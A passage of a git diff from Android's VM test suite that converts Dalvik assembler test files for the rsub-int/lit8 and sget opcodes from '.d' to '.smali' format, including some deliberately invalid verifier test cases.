-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_10.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali
new file mode 100644
index 0000000..fc1cd39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.d
deleted file mode 100644
index 615eede..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_11.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali
new file mode 100644
index 0000000..e73a193
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.d
deleted file mode 100644
index 7490328..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_12.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali
new file mode 100644
index 0000000..0a0d4d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.d
deleted file mode 100644
index fa026fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_2.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 123
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -123
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali
new file mode 100644
index 0000000..1606a55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 123
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -123
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.d
deleted file mode 100644
index b9b5c3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_3.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali
new file mode 100644
index 0000000..8ecc056
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.d
deleted file mode 100644
index b330a45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_4.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali
new file mode 100644
index 0000000..233d836
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.d
deleted file mode 100644
index 77a0e8b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_5.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -128
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali
new file mode 100644
index 0000000..dfd7bcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -128
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.d
deleted file mode 100644
index bd5d5ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_6.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali
new file mode 100644
index 0000000..a415826
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.d
deleted file mode 100644
index 18cd602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_7.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali
new file mode 100644
index 0000000..9588de7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.d
deleted file mode 100644
index 69df5ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_8.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v4, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali
new file mode 100644
index 0000000..468e753
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v4, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.d
deleted file mode 100644
index 4db3540..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_9.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali
new file mode 100644
index 0000000..9f2aa22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.d
deleted file mode 100644
index 35e5808..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_1.java
-.class public dot.junit.opcodes.sget.d.T_sget_1
-.super java/lang/Object
-
-.field public static i1 I
-.field protected static p1 I
-.field private static pvt1 I
-
-.method static <clinit>()V
-.limit regs 1
-       const/4 v0, 5
-       sput v0, dot.junit.opcodes.sget.d.T_sget_1.i1 I
-
-       const/16 v0, 10
-       sput v0, dot.junit.opcodes.sget.d.T_sget_1.p1 I
-
-       const/16 v0, 20
-       sput v0, dot.junit.opcodes.sget.d.T_sget_1.pvt1 I
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_1.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali
new file mode 100644
index 0000000..029f328
--- /dev/null
